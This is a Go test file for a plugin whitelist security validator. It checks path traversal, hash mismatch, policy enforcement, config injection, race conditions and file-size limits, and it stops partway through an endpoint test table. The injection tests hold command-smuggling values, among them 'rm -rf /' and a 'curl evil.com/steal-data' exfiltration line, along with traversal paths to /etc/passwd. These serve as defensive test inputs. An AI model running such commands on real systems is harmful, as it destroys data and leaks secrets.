-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathplugin_whitelist_security_test.go
More file actions
1702 lines (1513 loc) · 49.6 KB
/
plugin_whitelist_security_test.go
File metadata and controls
1702 lines (1513 loc) · 49.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// plugin_whitelist_security_test.go: Security Tests for Plugin Whitelist Validation
//
// Copyright (c) 2025 AGILira - A. Giordano
// Series: an AGILira library
// SPDX-License-Identifier: MPL-2.0
package goplugins
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// TestSecurityValidator_PathTraversalAttacks tests vulnerabilities to path traversal
func TestSecurityValidator_PathTraversalAttacks(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create a legitimate file that should be accessible
validFile := filepath.Join(tempDir, "valid.so")
validContent := []byte("valid plugin content")
if err := os.WriteFile(validFile, validContent, 0644); err != nil {
t.Fatal(err)
}
// Create a "secret" file outside of tempDir that the attacker wants to read
secretDir := filepath.Join(tempDir, "secret")
if err := os.MkdirAll(secretDir, 0755); err != nil {
t.Fatal(err)
}
secretFile := filepath.Join(secretDir, "sensitive.txt")
secretContent := []byte("SECRET_API_KEY=12345")
if err := os.WriteFile(secretFile, secretContent, 0644); err != nil {
t.Fatal(err)
}
config := SecurityConfig{
Enabled: true,
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
// Test path traversal attacks - these should FAIL for security
pathTraversalAttempts := []struct {
name string
maliciousPath string
expectError bool
description string
}{
{
name: "basic_dotdot_attack",
maliciousPath: filepath.Join(tempDir, "..", "..", "etc", "passwd"),
expectError: true,
description: "Should reject ../ path traversal",
},
{
name: "relative_path_attack",
maliciousPath: "../secret/sensitive.txt",
expectError: true,
description: "Should reject relative paths with ..",
},
{
name: "nested_dotdot_attack",
maliciousPath: filepath.Join(tempDir, "subdir", "..", "..", "secret", "sensitive.txt"),
expectError: true,
description: "Should reject nested ../ sequences",
},
{
name: "encoded_dotdot_attack",
maliciousPath: strings.Replace("../secret/sensitive.txt", "..", "%2e%2e", -1),
expectError: true,
description: "Should reject URL-encoded path traversal",
},
{
name: "valid_file_access",
maliciousPath: validFile,
expectError: false,
description: "Should allow legitimate file access",
},
}
for _, tt := range pathTraversalAttempts {
t.Run(tt.name, func(t *testing.T) {
_, err := validator.calculateFileHash(tt.maliciousPath)
if tt.expectError {
if err == nil {
t.Errorf("SECURITY VULNERABILITY: Path traversal attack succeeded! Path: %s", tt.maliciousPath)
}
// Verifica che l'errore sia specificamente per path invalido
if err != nil && !strings.Contains(err.Error(), "invalid file path") {
t.Logf("Good: Path rejected, but check error type: %v", err)
}
} else {
if err != nil {
t.Errorf("Legitimate file access failed: %v", err)
}
}
})
}
}
// TestSecurityValidator_HashBypassAttempts tests attempts to bypass hash validation
func TestSecurityValidator_HashBypassAttempts(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create original plugin file
originalContent := []byte("legitimate plugin code")
originalFile := filepath.Join(tempDir, "original.so")
if err := os.WriteFile(originalFile, originalContent, 0644); err != nil {
t.Fatal(err)
}
// Calculate legitimate hash
hasher := sha256.New()
hasher.Write(originalContent)
legitimateHash := hex.EncodeToString(hasher.Sum(nil))
// Create malicious plugin file with different content
maliciousContent := []byte("malicious code that steals data")
maliciousFile := filepath.Join(tempDir, "malicious.so")
if err := os.WriteFile(maliciousFile, maliciousContent, 0644); err != nil {
t.Fatal(err)
}
// Setup whitelist with legitimate hash
whitelistFile := filepath.Join(tempDir, "whitelist.json")
whitelist := PluginWhitelist{
Version: "1.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"test-plugin": {
Name: "test-plugin",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: legitimateHash,
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
whitelistData, err := json.Marshal(whitelist)
if err != nil {
t.Fatalf("Failed to marshal whitelist data: %v", err)
}
if err := os.WriteFile(whitelistFile, whitelistData, 0644); err != nil {
t.Fatal(err)
}
config := SecurityConfig{
Enabled: true,
Policy: SecurityPolicyStrict,
WhitelistFile: whitelistFile,
HashAlgorithm: HashAlgorithmSHA256,
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
// Enable validator if not already enabled
if !validator.IsEnabled() {
if err := validator.Enable(); err != nil {
t.Fatal(err)
}
}
// Test bypass attempts
bypassAttempts := []struct {
name string
pluginPath string
shouldBeBlocked bool
description string
}{
{
name: "legitimate_plugin",
pluginPath: originalFile,
shouldBeBlocked: false,
description: "Legitimate plugin should be allowed",
},
{
name: "malicious_plugin_replacement",
pluginPath: maliciousFile,
shouldBeBlocked: true,
description: "Malicious plugin with wrong hash should be blocked",
},
}
for _, tt := range bypassAttempts {
t.Run(tt.name, func(t *testing.T) {
pluginConfig := PluginConfig{
Name: "test-plugin",
Type: "http",
}
result, err := validator.ValidatePlugin(pluginConfig, tt.pluginPath)
if err != nil {
t.Errorf("Validation error: %v", err)
return
}
if tt.shouldBeBlocked {
if result.Authorized {
t.Errorf("SECURITY VULNERABILITY: Malicious plugin was authorized! This is a critical bug.")
}
if len(result.Violations) == 0 {
t.Errorf("Expected security violations for malicious plugin")
}
// Verifica che sia specifically hash mismatch
foundHashViolation := false
for _, violation := range result.Violations {
if violation.Type == "hash_mismatch" {
foundHashViolation = true
break
}
}
if !foundHashViolation {
t.Errorf("Expected hash_mismatch violation, got: %+v", result.Violations)
}
} else {
if !result.Authorized {
t.Errorf("Legitimate plugin was blocked: %+v", result.Violations)
}
}
})
}
}
// TestSecurityValidator_PolicyBypassLogic tests the logic of security policies
func TestSecurityValidator_PolicyBypassLogic(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create malicious plugin
maliciousContent := []byte("backdoor payload")
maliciousFile := filepath.Join(tempDir, "backdoor.so")
if err := os.WriteFile(maliciousFile, maliciousContent, 0644); err != nil {
t.Fatal(err)
}
// Create empty whitelist (plugin not whitelisted)
whitelistFile := filepath.Join(tempDir, "empty_whitelist.json")
emptyWhitelist := PluginWhitelist{
Version: "1.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: make(map[string]PluginHashInfo),
}
whitelistData, err := json.Marshal(emptyWhitelist)
if err != nil {
t.Fatalf("Failed to marshal empty whitelist data: %v", err)
}
if err := os.WriteFile(whitelistFile, whitelistData, 0644); err != nil {
t.Fatal(err)
}
// Test different security policies
policies := []struct {
policy SecurityPolicy
expectAuthorized bool
description string
criticalTest bool
}{
{
policy: SecurityPolicyDisabled,
expectAuthorized: false,
description: "Disabled policy should return error (security improvement)",
criticalTest: false,
},
{
policy: SecurityPolicyAuditOnly,
expectAuthorized: true,
description: "Audit-only should allow but log (expected behavior)",
criticalTest: false,
},
{
policy: SecurityPolicyPermissive,
expectAuthorized: true,
description: "Permissive should allow but warn (expected behavior)",
criticalTest: false,
},
{
policy: SecurityPolicyStrict,
expectAuthorized: false,
description: "Strict policy should BLOCK unlisted plugins (CRITICAL)",
criticalTest: true,
},
}
for _, tt := range policies {
t.Run(fmt.Sprintf("policy_%s", tt.policy.String()), func(t *testing.T) {
config := SecurityConfig{
Enabled: true,
Policy: tt.policy,
WhitelistFile: whitelistFile,
HashAlgorithm: HashAlgorithmSHA256,
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
if !validator.IsEnabled() {
if err := validator.Enable(); err != nil {
t.Fatal(err)
}
}
pluginConfig := PluginConfig{
Name: "backdoor-plugin",
Type: "http",
}
result, err := validator.ValidatePlugin(pluginConfig, maliciousFile)
// Special handling for disabled policy (security improvement)
if tt.policy == SecurityPolicyDisabled {
if err == nil {
t.Errorf("Disabled policy should return error (security improvement)")
}
if result != nil {
t.Errorf("Disabled policy should not return result (security improvement)")
}
return
}
if err != nil {
t.Errorf("Validation error: %v", err)
return
}
if result.Authorized != tt.expectAuthorized {
if tt.criticalTest && result.Authorized {
t.Errorf("CRITICAL SECURITY BUG: Strict policy authorized unwhitelisted plugin! This allows arbitrary code execution.")
} else {
t.Errorf("Policy %s: expected authorized=%v, got %v", tt.policy.String(), tt.expectAuthorized, result.Authorized)
}
}
// Per strict policy, deve avere violations
if tt.policy == SecurityPolicyStrict && len(result.Violations) == 0 {
t.Errorf("Strict policy should generate violations for unwhitelisted plugin")
}
})
}
}
// TestSecurityValidator_ConfigInjectionAttacks tests configuration injection attacks
func TestSecurityValidator_ConfigInjectionAttacks(t *testing.T) {
// Test ENV variable injection attacks
injectionTests := []struct {
name string
envKey string
envValue string
checkFunc func(*testing.T, *SecurityConfig)
}{
{
name: "policy_injection_attempt",
envKey: "GOPLUGINS_SECURITY_POLICY",
envValue: "strict; rm -rf /; echo disabled",
checkFunc: func(t *testing.T, config *SecurityConfig) {
// Should reject malicious input and fall back to default (disabled)
if config.Policy == SecurityPolicyDisabled {
t.Logf("EXCELLENT: Injection rejected correctly, fallback to default policy (disabled)")
} else {
t.Errorf("VULNERABILITY: Malicious policy input was parsed! Got policy: %v", config.Policy)
}
},
},
{
name: "path_injection_attempt",
envKey: "GOPLUGINS_WHITELIST_FILE",
envValue: "/etc/passwd; curl evil.com/steal-data",
checkFunc: func(t *testing.T, config *SecurityConfig) {
// Should not execute curl command
if strings.Contains(config.WhitelistFile, "curl") {
t.Logf("WARNING: Suspicious command in file path: %s", config.WhitelistFile)
}
},
},
{
name: "boolean_injection",
envKey: "GOPLUGINS_SECURITY_ENABLED",
envValue: "true && malicious_command",
checkFunc: func(t *testing.T, config *SecurityConfig) {
// Should parse as boolean, not execute commands
if config.Enabled {
t.Logf("Boolean parsing worked correctly")
}
},
},
}
for _, tt := range injectionTests {
t.Run(tt.name, func(t *testing.T) {
// Set malicious env var
originalValue := os.Getenv(tt.envKey)
_ = os.Setenv(tt.envKey, tt.envValue)
defer func() {
if originalValue == "" {
_ = os.Unsetenv(tt.envKey)
} else {
_ = os.Setenv(tt.envKey, originalValue)
}
}()
config, err := LoadSecurityConfigFromEnv()
if err != nil {
t.Errorf("Config loading failed: %v", err)
return
}
tt.checkFunc(t, config)
})
}
}
// TestSecurityValidator_RaceConditionExploits tests race conditions in validation
func TestSecurityValidator_RaceConditionExploits(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create plugin file
pluginContent := []byte("race condition test plugin")
pluginFile := filepath.Join(tempDir, "race.so")
if err := os.WriteFile(pluginFile, pluginContent, 0644); err != nil {
t.Fatal(err)
}
// Calculate correct hash
hasher := sha256.New()
hasher.Write(pluginContent)
correctHash := hex.EncodeToString(hasher.Sum(nil))
// Setup whitelist
whitelistFile := filepath.Join(tempDir, "whitelist.json")
whitelist := PluginWhitelist{
Version: "1.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"race-plugin": {
Name: "race-plugin",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: correctHash,
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
whitelistData, err := json.Marshal(whitelist)
if err != nil {
t.Fatalf("Failed to marshal whitelist data: %v", err)
}
if err := os.WriteFile(whitelistFile, whitelistData, 0644); err != nil {
t.Fatal(err)
}
config := SecurityConfig{
Enabled: true,
Policy: SecurityPolicyStrict,
WhitelistFile: whitelistFile,
HashAlgorithm: HashAlgorithmSHA256,
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
if !validator.IsEnabled() {
if err := validator.Enable(); err != nil {
t.Fatal(err)
}
}
// Simulate concurrent validation attempts (race condition test)
concurrency := 50
results := make(chan *ValidationResult, concurrency)
errors := make(chan error, concurrency)
pluginConfig := PluginConfig{
Name: "race-plugin",
Type: "http",
}
// Launch concurrent validations
for i := 0; i < concurrency; i++ {
go func() {
result, err := validator.ValidatePlugin(pluginConfig, pluginFile)
if err != nil {
errors <- err
return
}
results <- result
}()
}
// Collect results
authorizedCount := 0
rejectedCount := 0
for i := 0; i < concurrency; i++ {
select {
case result := <-results:
if result.Authorized {
authorizedCount++
} else {
rejectedCount++
}
case err := <-errors:
t.Errorf("Validation error in race condition: %v", err)
case <-time.After(5 * time.Second):
t.Fatal("Timeout in race condition test")
}
}
// All validations should have the same result (no race condition)
if authorizedCount > 0 && rejectedCount > 0 {
t.Errorf("RACE CONDITION DETECTED: Mixed results - authorized: %d, rejected: %d",
authorizedCount, rejectedCount)
}
// With valid plugin and hash, all should be authorized
if authorizedCount != concurrency {
t.Errorf("Expected all %d validations to be authorized, got %d", concurrency, authorizedCount)
}
// Verify stats consistency (allow small variance due to race conditions)
stats := validator.GetStats()
minExpected := int64(concurrency - 2) // Allow small variance for race conditions
maxExpected := int64(concurrency + 2) // Allow small variance for race conditions
if stats.ValidationAttempts < minExpected || stats.ValidationAttempts > maxExpected {
t.Errorf("Stats race condition: expected %d±2 attempts, got %d", concurrency, stats.ValidationAttempts)
}
}
// TestSecurityValidator_ResourceExhaustionAttacks tests resource exhaustion attacks
func TestSecurityValidator_ResourceExhaustionAttacks(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create oversized "plugin" file (simulated large malicious file)
oversizedFile := filepath.Join(tempDir, "huge.so")
// Create 1MB file (smaller than 100MB default but we'll set lower limit)
largeContent := make([]byte, 1024*1024) // 1MB
for i := range largeContent {
largeContent[i] = byte(i % 256)
}
if err := os.WriteFile(oversizedFile, largeContent, 0644); err != nil {
t.Fatal(err)
}
// Setup whitelist with small file size limit
whitelistFile := filepath.Join(tempDir, "whitelist.json")
whitelist := PluginWhitelist{
Version: "1.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"huge-plugin": {
Name: "huge-plugin",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: "dummy-hash-for-size-test",
MaxFileSize: 512 * 1024, // 512KB limit - should reject 1MB file
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
whitelistData, err := json.Marshal(whitelist)
if err != nil {
t.Fatalf("Failed to marshal whitelist data: %v", err)
}
if err := os.WriteFile(whitelistFile, whitelistData, 0644); err != nil {
t.Fatal(err)
}
config := SecurityConfig{
Enabled: true,
Policy: SecurityPolicyStrict,
WhitelistFile: whitelistFile,
HashAlgorithm: HashAlgorithmSHA256,
MaxFileSize: 512 * 1024, // 512KB global limit
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
if !validator.IsEnabled() {
if err := validator.Enable(); err != nil {
t.Fatal(err)
}
}
pluginConfig := PluginConfig{
Name: "huge-plugin",
Type: "http",
}
result, err := validator.ValidatePlugin(pluginConfig, oversizedFile)
if err != nil {
t.Errorf("Validation error: %v", err)
return
}
// Should be rejected for file size
if result.Authorized {
t.Errorf("RESOURCE EXHAUSTION VULNERABILITY: Oversized file was authorized")
}
// Should have file size violation
foundSizeViolation := false
for _, violation := range result.Violations {
if violation.Type == "file_size_exceeded" {
foundSizeViolation = true
t.Logf("Good: File size violation detected: %s", violation.Reason)
break
}
}
if !foundSizeViolation {
t.Errorf("Expected file_size_exceeded violation, got: %+v", result.Violations)
}
}
// TestSecurityValidator_MissingFunctions tests functions with 0% coverage
func TestSecurityValidator_MissingFunctions(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Setup base validator - start DISABLED
config := SecurityConfig{
Enabled: false, // Start disabled for testing
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
}
validator, err := NewSecurityValidator(config, logger)
if err != nil {
t.Fatal(err)
}
t.Run("Disable_Function", func(t *testing.T) {
// Create fresh validator for this test - start DISABLED
testConfig := SecurityConfig{
Enabled: false, // Start disabled for testing
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
}
testValidator, err := NewSecurityValidator(testConfig, logger)
if err != nil {
t.Fatal(err)
}
// Enable first
if err := testValidator.Enable(); err != nil {
t.Fatal(err)
}
// Verify enabled
if !testValidator.IsEnabled() {
t.Error("Validator should be enabled")
}
// Test Disable
if err := testValidator.Disable(); err != nil {
t.Errorf("Disable failed: %v", err)
}
// Verify disabled
if testValidator.IsEnabled() {
t.Error("Validator should be disabled after Disable()")
}
// Test double disable (should return error)
if err := testValidator.Disable(); err == nil {
t.Error("Double disable should return error")
}
})
t.Run("GetConfig_Function", func(t *testing.T) {
// Test GetConfig
retrievedConfig := validator.GetConfig()
// Verify configuration fields
if retrievedConfig.Policy != SecurityPolicyStrict {
t.Errorf("Expected policy %v, got %v", SecurityPolicyStrict, retrievedConfig.Policy)
}
if retrievedConfig.HashAlgorithm != HashAlgorithmSHA256 {
t.Errorf("Expected hash algorithm %v, got %v", HashAlgorithmSHA256, retrievedConfig.HashAlgorithm)
}
// Verify the config matches what we set (disabled initially)
if retrievedConfig.Enabled {
t.Error("Expected config to show enabled=false (as we set it)")
}
})
t.Run("GetWhitelistInfo_Function", func(t *testing.T) {
// Create fresh validator for this test - start DISABLED
testConfig := SecurityConfig{
Enabled: false, // Start disabled for testing
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
}
testValidator, err := NewSecurityValidator(testConfig, logger)
if err != nil {
t.Fatal(err)
}
// Test GetWhitelistInfo with no whitelist loaded
info := testValidator.GetWhitelistInfo()
// Should indicate no whitelist loaded
loaded, exists := info["loaded"]
if !exists {
t.Error("GetWhitelistInfo should return 'loaded' field")
}
if loaded != false {
t.Error("Expected loaded=false when no whitelist loaded")
}
// Load a whitelist and test again
whitelistFile := filepath.Join(tempDir, "test_whitelist.json")
whitelist := PluginWhitelist{
Version: "2.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"test-plugin": {
Name: "test-plugin",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: "dummy-hash",
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
whitelistData, err := json.Marshal(whitelist)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(whitelistFile, whitelistData, 0644); err != nil {
t.Fatal(err)
}
// Update config with whitelist file
newConfig := testConfig
newConfig.WhitelistFile = whitelistFile
if updateErr := testValidator.UpdateConfig(newConfig); updateErr != nil {
t.Fatalf("Failed to update config: %v", updateErr)
}
// Enable to load whitelist
if err := testValidator.Enable(); err != nil {
t.Fatal(err)
}
// Test GetWhitelistInfo with loaded whitelist
infoLoaded := testValidator.GetWhitelistInfo()
if infoLoaded["loaded"] != true {
t.Error("Expected loaded=true after loading whitelist")
}
if infoLoaded["version"] != "2.0.0" {
t.Errorf("Expected version 2.0.0, got %v", infoLoaded["version"])
}
if infoLoaded["plugin_count"] != 1 {
t.Errorf("Expected plugin_count 1, got %v", infoLoaded["plugin_count"])
}
if infoLoaded["hash_algorithm"] != HashAlgorithmSHA256 {
t.Errorf("Expected hash_algorithm %v, got %v", HashAlgorithmSHA256, infoLoaded["hash_algorithm"])
}
})
t.Run("ReloadWhitelist_Function", func(t *testing.T) {
// Create fresh validator for this subtest
testConfig := SecurityConfig{
Enabled: false, // Start disabled
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
}
freshValidator, err := NewSecurityValidator(testConfig, logger)
if err != nil {
t.Fatal(err)
}
// Verify it's actually disabled after creation
if freshValidator.IsEnabled() {
t.Errorf("Fresh validator should be disabled, but IsEnabled() returned true")
}
// Test ReloadWhitelist when disabled (should fail)
if err := freshValidator.ReloadWhitelist(); err == nil {
t.Error("ReloadWhitelist should fail when validator disabled")
} else {
t.Logf("Good: ReloadWhitelist correctly failed with: %v", err)
}
// Test ReloadWhitelist when enabled but no whitelist file
configNoFile := SecurityConfig{
Enabled: false, // Start disabled then enable
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
// No WhitelistFile set
}
validatorNoFile, err := NewSecurityValidator(configNoFile, &testLogger{t: t})
if err != nil {
t.Fatal(err)
}
if err := validatorNoFile.Enable(); err != nil {
t.Fatal(err)
}
if err := validatorNoFile.ReloadWhitelist(); err == nil {
t.Error("ReloadWhitelist should fail when no whitelist file configured")
}
// Test successful ReloadWhitelist
whitelistFile := filepath.Join(tempDir, "reload_test.json")
initialWhitelist := PluginWhitelist{
Version: "1.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"plugin1": {
Name: "plugin1",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: "hash1",
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
initialData, err := json.Marshal(initialWhitelist)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(whitelistFile, initialData, 0644); err != nil {
t.Fatal(err)
}
// Create validator with whitelist file - start DISABLED
configWithFile := SecurityConfig{
Enabled: false, // Start disabled
Policy: SecurityPolicyStrict,
HashAlgorithm: HashAlgorithmSHA256,
WhitelistFile: whitelistFile,
}
validatorWithFile, err := NewSecurityValidator(configWithFile, logger)
if err != nil {
t.Fatal(err)
}
if err := validatorWithFile.Enable(); err != nil {
t.Fatal(err)
}
// Verify initial state
info := validatorWithFile.GetWhitelistInfo()
if info["plugin_count"] != 1 {
t.Errorf("Expected 1 plugin initially, got %v", info["plugin_count"])
}
// Modify whitelist file
updatedWhitelist := PluginWhitelist{
Version: "2.0.0",
UpdatedAt: time.Now(),
HashAlgorithm: HashAlgorithmSHA256,
Plugins: map[string]PluginHashInfo{
"plugin1": {
Name: "plugin1",
Type: "http",
Algorithm: HashAlgorithmSHA256,
Hash: "hash1",
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
"plugin2": {
Name: "plugin2",
Type: "grpc",
Algorithm: HashAlgorithmSHA256,
Hash: "hash2",
AddedAt: time.Now(),
UpdatedAt: time.Now(),
},
},
}
updatedData, err := json.Marshal(updatedWhitelist)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(whitelistFile, updatedData, 0644); err != nil {
t.Fatal(err)
}
// Test ReloadWhitelist
if err := validatorWithFile.ReloadWhitelist(); err != nil {
t.Errorf("ReloadWhitelist failed: %v", err)
}
// Verify reload worked
infoAfterReload := validatorWithFile.GetWhitelistInfo()
if infoAfterReload["plugin_count"] != 2 {
t.Errorf("Expected 2 plugins after reload, got %v", infoAfterReload["plugin_count"])
}
if infoAfterReload["version"] != "2.0.0" {
t.Errorf("Expected version 2.0.0 after reload, got %v", infoAfterReload["version"])
}
})
}
// TestSecurityValidator_EndpointValidation testa la validazione degli endpoint (basso coverage)
func TestSecurityValidator_EndpointValidation(t *testing.T) {
tempDir := t.TempDir()
logger := &testLogger{t: t}
// Create test plugin file
pluginContent := []byte("endpoint test plugin")
pluginFile := filepath.Join(tempDir, "endpoint.so")
if err := os.WriteFile(pluginFile, pluginContent, 0644); err != nil {
t.Fatal(err)
}
// Calculate hash
hasher := sha256.New()
hasher.Write(pluginContent)
correctHash := hex.EncodeToString(hasher.Sum(nil))
// Test cases for endpoint validation
testCases := []struct {
name string
allowedEndpoints []string
pluginEndpoint string
expectAuthorized bool
expectViolation bool
violationType string
description string
}{
{
name: "no_endpoint_restriction",
allowedEndpoints: []string{}, // Empty list = no restriction
pluginEndpoint: "https://any-endpoint.com",
expectAuthorized: true,
expectViolation: false,
description: "Empty allowed endpoints should allow any endpoint",
},
{
name: "matching_endpoint_allowed",
allowedEndpoints: []string{"https://api.example.com", "https://backup.example.com"},
pluginEndpoint: "https://api.example.com",
expectAuthorized: true,
expectViolation: false,
description: "Matching endpoint should be allowed",
},
{
name: "non_matching_endpoint_blocked",
allowedEndpoints: []string{"https://api.example.com", "https://backup.example.com"},
pluginEndpoint: "https://malicious.hacker.com",
expectAuthorized: false,
expectViolation: true,
violationType: "endpoint_not_allowed",
description: "Non-matching endpoint should be blocked",
},
{
name: "empty_plugin_endpoint",
allowedEndpoints: []string{"https://api.example.com"},
pluginEndpoint: "", // Empty endpoint
expectAuthorized: true,
expectViolation: false,
description: "Empty plugin endpoint should be allowed (no validation)",
},
{
name: "case_sensitive_endpoint",
allowedEndpoints: []string{"https://API.EXAMPLE.COM"},
pluginEndpoint: "https://api.example.com",
expectAuthorized: false,
expectViolation: true,
violationType: "endpoint_not_allowed",